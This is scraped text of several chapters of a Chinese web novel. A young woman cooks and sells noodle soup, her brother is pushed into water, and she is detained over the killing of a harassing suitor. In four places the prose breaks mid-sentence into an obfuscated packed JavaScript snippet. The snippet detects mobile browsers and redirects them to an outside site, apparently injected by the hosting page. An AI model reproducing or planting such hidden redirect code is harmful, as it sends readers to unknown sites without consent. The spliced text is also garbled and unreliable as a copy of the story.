张夫子在众人翘首以盼的目光中夹了第一筷，慢悠悠地放在饼子上然后平着送进嘴里，肉香刺激出面香冲击着味蕾，使他胃口大开：“这样，把饼子从中间分开，把肉夹在饼子里，给大家把菜分了吧。”他在这里是尊长，若不这样其他人吃的拘谨，不敢下筷。 饼子是新熨的，十分松软，都不需要刀，众人很容易就把饼子分成两半了，傅生拿着筷子拨了很少的肉过去，他十分不好意思，本来借住在老师家就没给钱，心理负担大的不行，现在还跟着吃这么好吃的东西。 张二郎拿着碗看着他的动作，直接往他的饼子倒肉了，直到和别人差不多为止，傅生都来不及阻止，张二郎已经转身给女眷那边送去了。 他沉默着狠狠啃了一口饼，入口的一瞬间眼泪立马缩回去了。没有别的原因，太好吃了，是他吃过最好吃的肉，无论是咸味还是鲜味都是那么刚刚好，他伤感不起来了。 可恶。 张夫子见谢朗不动筷，把一个已经做好的肉夹饼塞到他手里，自己重新做了有个：“小孩子长身体，多吃点没什么。” 明明不饿，嘴里却还是泛起了酸，谢朗闻言也不客气地大吃了一口，十分满足地喟叹一声，人生就是要吃很多很多美食呀。 一群人其乐融融地吃过饭后，几个成年男人又下了地，张夫子向来倡导读书人人的勤奋不能只在读书上面，他也以身作则。 谢朗想着谢玉珍的叮嘱，本想下去帮忙，被张夫子喝停了：“还没上课就让你帮我做事，不知道的还以为老夫是什么人，上面玩去，小孩家家的，累着腰也不怕长不高。” 谢朗只停在田埂上望着他们割稻子，望着望着，眼前飞起了红蜻蜓，他蜷了蜷手指，还是忍不住追着去捉了。 还是小孩子啊，张夫子看见， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780295|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着想，旋即立马低头收稻，收稻子就是跟老天爷赶，哪天下雨还没收完就白瞎了，成熟的稻子沾了水没多久就发芽。 ------------------------------------- 谢玉珍从兜里摸出钱袋，排出五十个铜板放在桌子上，对面人旁边坐着一个账房，他将铜板一个一个数清楚后点了点头。 “下月还要摆摊初十来交摊租。”他叮嘱道。 谢玉珍微微弯着腰，笑着点头，见没什么问题了，便告辞出去了。 刚出去的时候太阳还有点晃眼，幸好戴了头巾，不然晒死了，她快步走着，不久就到了猪肉摊的旁边。 “今天还有筒子骨吗？”这小摊摆在一个房子的前面，这家人就靠着卖猪肉在镇上安家了，后面就是他家。 “有呢，就剩两根了，便宜卖！”杀猪匠身上的围兜上还染着一些猪血，给他添了一抹凶煞之气。 “那都给我吧。”谢玉珍想了想，还是决定都买下来，“价多少？” 杀猪匠憨笑着说：“一根重十两，十七文；一根重十一两，十九文。姑娘给三十文就是了。下水都卖完了，就剩这两个卖出去我就收摊了，讨个吉利数。” 谢玉珍让对方把骨头放在她带来的篮子里，把钱放在带着肉屑的长桌上，接过篮子。 “慢走再来咧！”杀猪匠笑着收拾东西进屋。 谢玉珍顶着日头快步走向租驴车的地方，去晚了人家就走了。 “玉珍！”身后一道熟悉的声音响起，谢玉珍浑身一颤，走的更快了，没料到对方居然锲而不舍地追上来了，“你给我的那封信什么意思？”他质问。 谢玉珍咬着牙关抬头，“字面意思。”她望着对方的眼睛嗤笑，“怎么，潘大官人读了那些许书，竟是连字都看不明白了，是否还要找个夫子给你启蒙啊？” “我哪里得罪你了？”潘案心中疑惑大过耻辱大过气氛，僵硬问道。 谢玉珍忍住想打人和逃跑的心情，开口：“你没有哪里得罪我。难道你没听说过唯女子与小人难养也的道理？很明显啊，我变卦了。我四大皆空了行不行？”谢玉珍想摆脱他，居然嫁人的名声都不要了。 潘案指着她半天，憋不出一句话来，白净的脸都憋红了——也只能夸一声白净了。 “让开，不知道的还以为今天是庙会，你扮门神呢。”谢玉珍错开身子，大路两边各走一方。快步走了出去。 一无婚书，二无媒聘，三无父母，他能把谢玉珍怎么样？正因此，潘案心里才憋闷，想到谢玉珍不同寻常村妇般漂亮的脸蛋，她心里泛起了阴毒的算计。 谢玉珍飞快走着，身后仿佛有老虎在追，直到消失在潘案的视野里，她脚步才稍微慢了下来。 她心跳如擂鼓，耳朵里一阵一阵的长鸣，明明在喧闹的集市里，她听自己的心跳声却一清二楚。 要是他死了就好了，要是他死了就好了。 7. 白面饼子夹肉，锅巴粥 谢玉珍回家后天色还早，想着熏肉可以做起来了，到冬天冷的人都犯懒，不想做那么复杂的食物了。 做熏肉的第一步是炒盐，她家只有盐块，得先用石臼捣碎成较碎的粉末状，捣盐也是有技巧的，不能轻也不能重，轻了盐块捣的不够碎，达不到要求，重了直接蹦出去了，跟宫廷画师捣宝石颜料是一个道理。 捣制的过程十分解压，谢玉珍在这上面发泄着自己的郁气，等盐都捣好了，她的心情也恢复的差不多了，对于美食，怀着郁闷的心情对待就不会那么美味了。 想起来放干货的柜子里有去年晒的橘皮，当时是为了生津润肺，防止上火的，但她和谢朗不太能接收橘皮泡水的味道，所以喝的不多，她记得还剩一大包来着。 从柜子深处找到后，她拿出来在光亮的地方倒出来，一片片仔细检查了一下，没有长毛没有生潮，保存的还可以。还是因为这两年下雨没那么多。 她顺手把要用的花椒拿了出来，话说过来，花椒魏晋之前普通人可是吃不到的，时代还是一直在进步的。 把盐、花椒、橘皮一起放进烧热的锅里，翻炒不能停，不然会发苦——盐本来就有点苦味，加其他的就是为了遮盖这个味道，糊了难吃加倍。 炒大概两炷香时间后，满室升温，谢玉珍的额头冒出了薄汗，这就算炒好了，刚炒好的盐有非常浓的香气，颜色也没有之前那么白了。 将盐铲起来之后，谢玉珍快速地洗刷了锅，这才把盐端出去了，将除了准备炖汤的肉以外的肉角角落落都涂上了炒制的盐巴后，放进干燥干净的陶盆里，放在阴凉的地方先腌制三天。 过几天曹牛来叫卖的时候叮嘱他带来些柏树枝和松树枝，都是小枝的话价格会比正常的柴火便宜很多，但是不经烧，仔细算的话其实耗费的钱也差不多。 做完这些，她挑起一桶井水给院子里的菜浇水，都照顾到后她坐下来歇了半个时辰，便舀了水浸泡买回来的筒子骨，大概泡了小半个时辰，把脏水倒掉简单冲洗了一遍。 筒子骨炖汤是需要先焯水的，目的是去除筒子骨的腥气和撇去杂质了，汤也会更清澈鲜亮，筒子骨上的肉也会更细嫩：虽然说目的不是吃肉。 把筒子骨冷水下进没炒过盐的锅，放进姜片，再倒了一点点黄酒，就不盖盖子煮，煮到锅里冒起白色的泡沫，谢玉珍用大木勺撇去浮沫后用锅铲把骨头捞起来，到外面空地上去用凉水冲干净了。 本来应该用温水的，这样不会改变肉质，过凉水后肉会弹牙一些，没那么软烂，所幸也不卖肉，不用那么麻烦。 再把锅洗干净，把筒子骨剁碎后放了进去，放凉水和姜片进去盖盖焖煮，小火煮大概要半个晚上。 此时已经到黄昏时分了，到做晚饭的时间了，之前和谢朗商量过晚上不炒新菜，热一下中午剩的五花肉贴几张饼子就行。 就是揉面费时间，其他就是几根柴火的事情。 她估摸着量舀了一整瓢的面粉在盆子里，放了醪糟之后加水用力揉，和面其实就是水多了加面，面多了加水，她早就熟能生巧了，过了手忙脚乱的阶段。 揉面就是个巧劲儿，做白面饼子得多揉一会儿，揉的偏硬一些，盖上木板等它醒发到之前两个那么大，醒发好的面还得再揉一小会儿，把面团里的气排掉。揉成长条，揪成大小一样的剂子，再把剂子团圆，搓成一头大一头小的长条，谢玉珍掌心轻轻一压，给它压的稍微扁了一些，从宽的一头开始松松地往里卷，快卷到尽头的时候把面条立起来，把窄的一头末端压在下面后，用手往下压成圆饼。 谢玉珍拿过来擀面杖，把这圆饼擀薄，中间用拳头摁压的紧实一些，这样烙出来饼子的中间不会鼓包，一共有六个剂子，都处理好后，锅里烧小火，火候得把握好，不然的话容易糊底。 一口锅一次可以烙三张饼，烙的时候不要抹油，锅热后谢玉珍顺着锅沿把饼子顺下去，锅里整整齐齐摆着三张白花花的饼子，哪怕是看着也满足，面香是食物最质朴的香味，是人灵魂深处自带的执念，穿越了前年，不灭不亡。 半柱香就要翻一次面，直到两面微微发黄，谢玉珍锅铲和筷子一起上，把饼子整整齐齐的叠在盘子里，再准备下一锅饼。 谢玉珍直起腰轻轻锤了锤，碗柜放在堂屋大门的拐角里，她从里面将凉掉很久的锅巴粥和五花肉拿出来，锅还是热的，直接把菜放进去翻炒加热就行了。 最好是先加热葱炒五花肉，然后再加热茱萸子口味的，最后把锅洗干净再热锅巴粥。 谢玉珍就是这样做的。 等这些锅巴粥在锅里咕噜咕噜冒泡的时候，太阳也悬在西山上，整个小巷变成了橙黄色，谢朗背着光打开院门进来了。 他脸上带着笑，身上带着苍耳和草屑，还没进家门，他就看见屋顶一片缥缈的炊烟，身后辉映着极远的青山，恍如仙境，却多了人间的酸甜苦辣咸，显得更温暖了些。 “女兄，我回来了！”他在台阶下站定，打招呼道。 谢玉珍脸上被灶洞里的火蒸的发烫，红扑扑的，像上了胭脂一样，衬托的她更漂亮了。 荆钗布衣难掩清丽颜色。 “过来。”谢玉珍手上拿了柄蒲扇，有一下没一下给自己扇着凉风，“头上挂了苍耳也没知觉呀。”谢朗垂下头方便她行事，谢玉珍温柔地把苍耳一个个摘下来，给谢朗整理好头发后，把他推得远了一些，“该吃饭了。” 现在秋老虎还霸道的很，都傍晚了夕阳的余晖还照在身上很暖，这个冬天想来不会特别冷。 光还没有从地平线消失，整个世界就不算沉入黑夜。 谢玉珍第一口先喝了米汤，滚烫的米汤吹过之后入嘴的温度就刚好，滑下喉咙之后胃里也感觉到暖和。 五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780296|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花肉就着没有油脂盐分的饼子，味道中和过让人一口一口停不下来。 这饼子比下午时候夫子给的好吃好多好多，谢朗细细咀嚼着面饼，一脸享受地品味着，舍不得吞下去，吞下去后舌根贴上上颚就能尝到微微的淀粉的甜味。 “天和水都被太阳染成金子的颜色了，真好看！”吃完饭两人坐在院子里犯懒休憩，谢朗托着腮感叹。 “财迷。”谢玉珍哼笑，拿扇面轻轻敲了一下谢朗的头，“呀呀呀，怎么一下子想到金子上了？” 谢朗下意识摸头：“世上没有人不爱金子，绝对没有！我要是有金子，我要给女兄在汴梁买大宅子，买一大堆仆从，不让女兄劳累！” “你这么好呀？”谢玉珍调笑，开玩笑的口吻说，“那我可等着你飞黄腾达了，谢大官人？” 哈哈哈哈哈哈。 人嘛，总是要有梦想的，不管相不相信，打击做什么，顺着孩子的话说就是了。 趁天色还没完全黑，谢朗屁颠屁颠地把锅和碗都洗干净了，天黑之后，两个人完全没有睡意，一起坐在枣树下面嚼之前打下来的新鲜枣子，下面人在吃，上面鸟在吃。 谢玉珍十岁之前祖母还在的时候性情是很活泼活泛的，她眼睛一转就有坏主意。 这颗枣树结的枣子的枣子大，枣核也大，足有一节小拇指大小，拿来玩弹弓刚刚好，正好，他们两个都没有眼疾，刚好可以玩弹弓游戏。 长夜孤寂，百无聊赖，只能自己给自己找乐子而已。 “阿朗，去，去把张姐姐叫过来，让她把我们小时候的弹弓带上。”谢玉珍扬着下巴，又粗又黑亮的辫子自然垂在胸前，整个人在这一刻格外的鲜活。 谢朗眼睛一亮，忙不迭点头，去隔壁敲门。 “谁啊，大晚上敲门！”张二郎手上端着一盏油灯不耐烦地开门，打开门愣住了，“谢、谢朗？” 小孩圆圆的脸隐在夜色里，吓他一大跳。 “我找张大姐姐。”谢朗还生张二郎的气，开口的声音闷闷的。 “张七巧,有人找！”张二郎回头吼，他本想把谢朗拽进来，却扑了个空，手指尴尬地揪衣服。 张七巧穿好外衣没好气地出来，“张二郎，你再叫我大名我就让爹爹打你手板了！”她一走过来就拧他的耳朵，“你今天欠打没够是不是？” 谢朗假装没看见：“张大姐姐，女兄说让我请你过去吃枣子，她让我告诉你把弹弓带上。” 张七巧闻言眼睛也亮了，玩弹弓啊，这是他们小时候最喜欢的游戏了：“你姐姐现在还是这么促狭！等等我，马上来了！” 张七巧转身进了屋，没多久就出来了，本来周扶浪想跟着，被她严词拒绝了，这不是开玩笑的事，玉珍一个未嫁女在家，大晚上的，她把外男带过去算怎么回事，她谁都不带！ 见好友重温旧梦去也。 8. 干捞黄豆芽汤饼 半筐枣子板正地放在枣树下，谢玉珍和张七巧一人手里握着一把自己啃的枣核。 谢玉珍的弹弓是当年谢祖母给她做的，皮筋和皮兜是用马皮和牛筋做的，十分有韧性，她展示般地摇了摇弹弓：“规则还是和小时候一样。” “知道。”张七巧跃跃欲试地将枣核放在皮兜上，来回拉扯着熟悉手感。 谢玉珍将皮筋拉到最满，眯起一只眼睛，瞄紧树梢头。今夜月色明亮，可以视物，树梢头被她瞄准的通红的枣子被一只麻雀一下一下啄着。这个游戏的玩法就是，要打落枣子不能打到鸟，她们已经玩了千万次这个游戏，哪怕打不下来枣子，也不会伤到小鸟。 砰—— 枣子和几片叶子一起掉在了树脚下，发出了声响，谢玉珍走过去捡起来被打烂了的枣子，走到张七巧旁边手伸出来给她看：“怎么样？我没退步吧。”她眼中带着细微的骄傲，微微笑着。 被坏了好事的麻雀气的围在树冠边愤怒地叽喳叽喳叫，对谢玉珍的行为进行抗议。 张七巧哼了一声，选定了一颗半青的枣子，也打下来了，不过那颗枣子高度低于谢玉珍那颗，所以这局谢玉珍为胜。 她也不服输，两人又比了好几局，树上的鸟儿都快跑光了。 “最后一局了，”张七巧打了个哈欠，有些困了，一局定输赢好了。 谢玉珍闻言，盯紧了树冠最顶端一颗绯红地像块红宝石的枣子，啄这颗枣子的，是一只灰白的斑鸠。 一颗枣核如迅雷闪电般从斑鸠翅膀和腿的空隙处精准击打下了那块品相很好的红枣。斑鸠受惊后翅膀乱叫着飞远了，大概之后也不敢来了。 “哎呀，我都不用打了。”张七巧说道，“‘椒娘’还是那个‘椒娘’啊。” 谢玉珍抿嘴笑，却不说话，她看出来张七巧已经倦了，调笑几句把对方送回去了。 谢玉珍把中午时候泡的半吊肉拿出来切了，往灶内侧的灶洞里又塞了两根木柴，用夹食物的火钳把五花肉放在火上炙烤，烤出肉油后放在一边备好的盘子里，这些肉一般处理成有焦黄色薄壳的，一半不作处理，揭开锅盖舀出两小碗汤后把肉丢了进去。 然后盖上锅盖接着煮到第二天早上。 谢玉珍唤过来谢朗，她把要卖的面揉好醒发着后，两人将热汤下肚后，各去房间睡了。 躺进温暖的被窝后，她来不及多想什么，周公便着急找她下棋了，今天太累了，天色太晚，明日还要早起呢。 第二天鸡啼之前，谢玉珍便醒了过来，她之前养成了容易惊动的生活习惯，一时半会儿是也改不掉的。 之前定做的木车在院子角落里放着，现在终于可以派上用场了，木匠还给她送了一口铁锅，无功不受禄，她又给了木匠二十文。 将要用的木柴放在车底的暗箱里，把骨头汤连同料一起舀进旁边固定着的木桶里，调料也都包好放在了不容易颠簸的地方。 这时候天还没亮呢，她推着车出门去了，幸好这边离镇子近，不过五里的脚程，否则定要租车的，本来打算说要在瓦子里摆摊，但街道司的人说，如果是做吃食生意，卖的对象是平民百姓的话，最好是直接在路边经营，交的银钱也不是一个数的。 所以这次是要在道边经营，道边还是讲究个早到早得，她得去抢个好位置。 等她选定一个好位置后，天才蒙蒙亮，路上行人没有很多，她把东西收拾摆好后，在她这边的垫板上揉面。 这时街道上远远走过来一群穿靛蓝色衣裳的男子，她抬头一看，应当是官差衙役，在去当值的路上呢。 “郎君，早食吃过了吗，来碗热热的汤饼吧！”众人将要走过来的时候，她抬头热情招呼道。 “诶，小娘子是新来的？没见过你。”其中一个面貌不扬的青年走过来，“李兄吃不吃汤饼，我请客！” 李香君白了他一眼：“哪用得着你请，我兜里有。” “你有个老鼠毛！”那人不客气地把十数枚铜板放在竹筒里，“多的不用找了小娘子，你这卖的什么汤饼啊。” 谢玉珍见对方如此爽快眼睛笑的弯起来，“筒子骨汤底的汤饼，有素汤饼，就是只有骨汤汤饼没有配菜的，还有菠菜汤饼、豆芽菜汤饼、猪肉汤饼。还可以干捞、油泼。” 那人回头看李香君，李香君只好说：“豆芽菜的就行。”心里却想着从别的地方给他还回去。 “我要一份菠菜，一份黄豆芽的。”那人叮嘱道，两人坐到一边谢玉珍摆在墙角的几个矮凳上等待。 “两位郎君能吃辣吗，葱花要不要？”谢玉珍挣到开门红，心里高兴的很，细致地问，要知道，不是人人都能接受葱的味道的。 “不要辣，要葱花！”那人摆头。 “好嘞！”谢玉珍应答，低头擀开面切了两份汤饼，他脚边是早上从卖水人那里定的两大桶河水，谢玉珍舀了两瓢水放进锅里，木车上面的锅下面是个半密封的空间，里面砌了红砖，所以不会烧车。 她拿竹筒呼了几口长气把柴火吹燃，等水热后把两份汤饼都下了进去，算好两炷香，用长筷子捞在两个碗里。 她揭开另一边密封着的木桶盖，木桶里的骨头汤还是滚烫的，她先是放了一小块猪肉和一汤匙细盐（磨碎的盐）在碗里，然后把滚烫的汤从高处浇下来。 本来就香，现在更香了。 她从木桶里捞起几块之前烤过的五花肉放在这两个客人的碗里，一只手端一碗给两人送过去了。 “多、”李香君抬头看见女子娇俏可亲的笑脸，一时间心脏错了拍，“多谢小娘子。” 他接过碗的同时，看见谢玉珍指尖被压红的印子，他忙低头，害怕失态，这女子实在是好看，起码在这镇子里，是他见过最好看的。 谢玉珍给另外一个郎君递过碗筷。 “我没点肉呀。”那人看着碗里外表有些焦黄的肉疑惑不已，“小娘子刚才是不是听错了？” 谢玉珍摇了摇头回到车后面切面，她解释说：“菠菜汤饼一碗七文，黄豆芽汤饼一碗六文，一共十一文，您给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780297|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多了，这几块肉当我送您的，当谢谢您照顾我的生意了。” “小娘子大气！”那人边嗦面条边竖起大拇指夸赞，“小娘子贵姓啊，以后还来摆摊吗？”他吃高兴了问道。 “免贵姓谢。”谢玉珍回答，“若能赚到钱，以后还来的。” 谢？旧时王谢堂前燕的那个谢？谢可是个贵姓啊，那人思考。 其他人见他们俩吃的想，早就忍不住了，两三个都涌上来—— “我要一碗素的！” “黄豆芽的！” “黄豆芽的，我要干捞的，吃辣。” 谢玉珍一一记住，说道，“素汤饼五文，干捞黄豆芽汤饼七文。”昨晚只揉了十斤面，大概只有三十碗，现在已经卖出去五碗了，大概太阳烫皮肤之前就能卖完吧，“郎君们把钱放进竹筒里就行，我现在没手拿，郎君们都是官差，顶好的人，我相信你们。”她如是给这几个男人戴高帽道。 她生的像西湖的荷花似的，又笑脸相迎，几个男人一高兴纷纷把钱丢进去了，没有一个赖账。 谢玉珍做好骨汤汤饼后把汤水的送到两人的手里，用湿抹布打算挪开装着开水的锅，李香君早就吃完了，一直留意着这边，见谢玉珍打算挪滚烫的锅，连忙快步走上去。 “我来。”李香君抽走谢玉珍两只手上的湿抹布，生硬地开口，“别烫着了。”他一个大男人，很轻易地就把锅挪下来了。 “多谢郎君。”谢玉珍一愣，连忙道谢道，“太麻烦您了，其实我自己也可以。” “谢小娘子的绣品，我母亲特别喜欢。”李香君找借口道，不过她说的是实话，他病弱的娘的确购买过谢小娘子的绣品，并且表示过有大家风范，很喜欢。 谢玉珍一愣：“承蒙令堂厚爱，不胜荣幸。” 一时间两人都无话，气氛有些尴尬。 谢玉珍清了下嗓子，把另外一个锅架在上面，挖了一大勺猪油放进锅里，猪油很快就融化了了液状冒起了烟，谢玉珍戳进去一根干净的筷子，油围在筷子腿边冒起了细密的泡泡。 她手上抓了一把花椒和茱萸子丢了进去，锅里里面爆炸出辛辣的霸道气味，又香味传的老远。 花椒油炸好后，旁边的碗里也放好了盐、葱花，她拎起锅把油淋了上去，趁热快速拌匀，再把焯过水的黄豆芽摆了上去，才给对方递了过去。 “这个要吃快一点哦，干的没水的保温，猪油冷了容易腥，就不是最好吃的味道了。”她笑着叮嘱道。 这样，对方点了点头，当知道了的意思。 此时，潘案的声音又阴魂不散地想起：“给我来一碗猪肉汤饼。” “不做你的生意。”谢玉珍身子一僵，马上又反应过来，冷硬地说道。 “娘子怎可这样对我？”潘案恶劣地笑，说道。 “谁他爹的是你娘子！”谢玉珍一听这话，暴脾气一下子上来了，拿着擀面杖出来，“你敢乱我清誉？旁边就是衙役，你哪里来的胆子当街调戏良家妇女？李郎君，你看他!” 10. 入狱后的香喷喷肉饼- 推着车回去的时候，家门打开着，谢玉珍进去一看却空无一人，谢玉珍一时间也没在意，谢朗大概是去别的地方玩耍或者去做别的了。 张二郎听见隔壁传来轻微的声响，连忙跑过去看，果然谢家姐姐就在院中。 “谢姐姐，你快来，谢朗落水了！” 什么？谢玉珍大震，提起裙摆就急的像失了崽子的野猫一般冲了出去：“他现在在哪里？”她跟张二郎边跑边问道，眼泪止不住地落下。 “朗弟弟应该被送到村里张大夫家去了，我爹娘刚赶过去，你就回来了！”张二郎边疾奔边应答道。 两人很快就赶到大夫家，谢玉珍一进门就看见张娘子坐在床边哭泣，她一时间没站稳，踉跄了一下后被张二郎虚扶了一下。 谢玉珍快步走到床边，汗珠和泪珠争先落下，分不清楚谁是谁。谢朗嘴唇起皮，唇色比脸色还白，身上的衣服应该是被换过了，但头发还是湿的滴水珠。 “玉珍来了。”张娘子哽咽地将她拉到床边坐下。 “我从不让朗哥儿靠近水边，他最听我的话，怎么会落水了呢?”谢玉珍没有问任何人的意思，她是在质问自己，“朗哥儿现在怎么样了？” “大夫说刚救上来的时候身上凉的很，现下已经发起了高热了，再喂不进药水，就，就……”未尽的话张娘子哽咽着说不出口，“有人看见，说是一个跛着脚脸上有一块红斑的男人推下去的，我们就等你回来，要去报官呢。” 跛脚，脸上有红胎记，谢玉珍眼神凝滞，她知道是谁干的了。 “我来喂吧。”谢玉珍颤着手接过药碗，柔声说道，“朗哥儿，张口吧，没有你，我们家就剩女兄一个人了，你舍得剩我一个人留在这世上孤零零的吗？就当是为了我，喝药吧朗哥儿，就当是为了我！”她泣不成声地说道，祖母说过，人弥留前，最后消失的是听觉，虽然不知道为什么，但她相信祖母的话，就像谢朗相信她的话。 谢朗紧紧蹙紧的眉头在听到谢玉珍带着泣音的话后慢慢舒展，紧紧抵着的牙关也稍稍松开了，一旁的大夫连忙抓紧机会用木勺撬开，支主两边的牙齿，把谢朗半扶了起来，方便谢玉珍喂药。 这种姐弟情深的场景无疑是让人感动的，在场有不少人激动地流泪捂口。 把药都喂下去后，谢玉珍放下药碗，擦干眼泪站了起来，冷不丁说道：“不必报官，我知道是谁。” 始作俑者其无后乎。 她下意识用右手捏紧左手袖口里的匕首，往门口冲了出去，没有一个人拦得住她。 谢玉珍先是回了家，拿起采蘑菇的竹兜将一把小镰刀放了2进去。 匕首不一定是杀得死一个人的，她要砍下那个贱人的头颅为小弟报仇，为她自己报仇，就算是死，也无所谓。 在这一刻，她堆积过自毁的情绪达到了巅峰。 潘府门口。 “我是谢玉珍，我要见潘案。”面对门房的询问，谢玉珍冷冷开口，门房显然是被提前叮嘱过，爽快的把她放进去了。 谢玉珍直接冲到正堂，这辈子她虽然没来过潘府，但上辈子来过，还住过呢，因此十分轻车熟路，直接来到了待客的正堂前。 将要踏进去前，她停在门口，心中无数次预想用怎么样的角度把匕首插进对方的颈侧，现实里不过才一瞬间而已。 她将匕首从袖中拿出来，紧压在手臂内侧，左手大拇指从右手大拇指下伸到握匕首柄的地方，两手垂在小腹前，作出一副端庄的样子大步踏了进去。 大堂中反常放着一张巨大的屏风，谢玉珍疑惑，却不以为意地关上了大堂的门，向屏风后走了过去，眼前的场景却—— 潘案以奇怪的姿势靠在正堂最中央的一张太师椅上面，头颅倒在后面，脖颈上有一道极细的伤口涓涓流下鲜红的血液，把他衣服上绣的大片大片的菊花染成了绛色，地上积了一滩可疑的透明液体。 谢玉珍愣了，潘案竟然已经被杀了，是谁杀的他？ 有人做局？！她的第二想法是。她连忙收起匕首，推开门要出去，却没料到门竟从外面打开了。 两双茫然的眸子就这样撞上了。 “谢小娘子？” “郎君？”竟然是第一次买她汤饼的那人。 “大人，我家老爷就在里面。”潘府的下人点头哈腰道。 那下人带着捕快走过屏风，顿时那边传来下人的尖叫声，外面的其他人立马冲了进来。 谢玉珍使劲压紧了手上的匕首，这时候已经来不及收回去了，她是不怕死，但也不能冤死啊！她是想动手，也有这个动机，可她没来得及动手啊！ 那家丁立马出来指着谢玉珍的鼻子骂：“我家主人不就是在街上羞辱了你几句，你不也没事吗？你这个女人怎可如此狠毒，害他姓名？” 谢玉珍心里慌的要死，把匕首压的更紧：“我进来还不过一炷香，便是杀人，哪有杀人时间？他一个大男人，打不过我一个女人？” 这话显然很有道理，那家丁顿时噎的一句话都说不出来，涨的脸发红。 滴答、滴答。 一滴滴的鲜血从她袖筒中滴到地上，她自己没有察觉。人在高度紧张的时候是感觉不到疼痛的。 那家丁见旁边人没盯着她，窜过去将谢玉珍一撞，匕首就这样冷不防当啷一声跌落在地上。 谢玉珍脑袋嗡的一声，脸色发白。 “谢小娘子，跟我们走一趟吧。”其实那捕快也不相信谢玉珍是凶手，但现在谢玉珍的确嫌疑很大，必须带回去关起来。 其余的捕快就要走过来押她，谢玉珍捡起匕首：“我自己走。我没做过的事情，我相信官府和尸体会还我清白。” 活人会撒谎，尸体却不会。 李香君在县衙看见谢玉珍的时候大吃一惊，这时众人正争论说要不要把她关进县衙的大狱里。 “只有公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780299|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂上罪行确凿的犯人才会下狱。”李香君参与进去说道，“谢小娘子不是犯人，至少现在不是。” “那咋办啊头儿。”其中一个人问道。 “关在县衙内堂的茶室里，沈二亲自看守。”他吩咐道，“仵作验尸结果未出来前，不允许人进去。”他思考了一下后说道。 就算真押进大狱，谢玉珍也不怕，上辈子不是没吃过比大狱更苦的苦头，但她也不会蠢到没苦硬吃，来表现她有多大公无私。 ……她永远不可能大公无私。 夜，昏沉如蝉的眼睛，一豆灯烛点亮了小小的空间，泛黄的墙上印上了她大大的影子，四周还有无数的蛛网——自从上一任县令在这里自缢，这个茶室早已废弃不用了。 夜色比灯烛的侵略性更强，衬得灯烛如同鬼火幽幽，人影也似鬼魅横行。 谢玉珍数着墙上的蛛网的丝线，腹中不由自主地传出咕噜的声音来——好饿，一天没吃实在的东西，真的好饿啊。 “谢小娘子。”有人敲窗，是沈二。谢玉珍走过去，窗子被推开一条缝，一个油纸包被递了进来，“我们头儿刚刚过来让我给你的，你快拿着，别被别人看见了。”沈二左顾右盼道，按道理来说，谢玉珍作为疑犯，是没有吃东西的权利的。 “李郎君？他人呢？”谢玉珍疑惑地问，她和李香君不过是萍水相逢，今日才谋面，点头之交而已，他为何要对她这般，莫非事出有因？ 并非她恶意揣测，事出突然，而人性是最不可捉摸的东西，她早已没有资格去赌博，赌徒只有有资本的人才当得。 “今天傍晚上有人来找你，我们头儿在街上巡逻听见有人呼你姓名就过去问了，才知道你的情况，他晚间已经去你们村子那边了，让我告诉你不必忧心你弟弟。” 谢玉珍闻言先是警醒，一个男人，什么情况才会对一个陌生人这么好，还是一个女人，必有所求而已，要么是身子，要么是情义。 然后才是感动，人非草石，怎可能一点动容都没有。 “那还真是，多谢他，不知道怎么报答才好。”沈二说完话已合紧了窗子，谢玉珍捧着油纸包低声自语道。 她坐到被她坐干净的椅子上，打开那个油纸包，里面是一个还热着的肉饼，热气先是催着白芝麻的香气，后面又赶着混油香。 事实证明，不干巴的饼是人间美味。 湿软的面饼，一进久未进食的人嘴里马上被唾液分解成糖分，甜在舌尖。主食对人的吸引力是毋庸置疑的，那是一种比美酒更醉人，比花香更醇厚的朴实情感。 除非死了亲娘，谁能对一个香喷喷的肉饼无动于衷？ 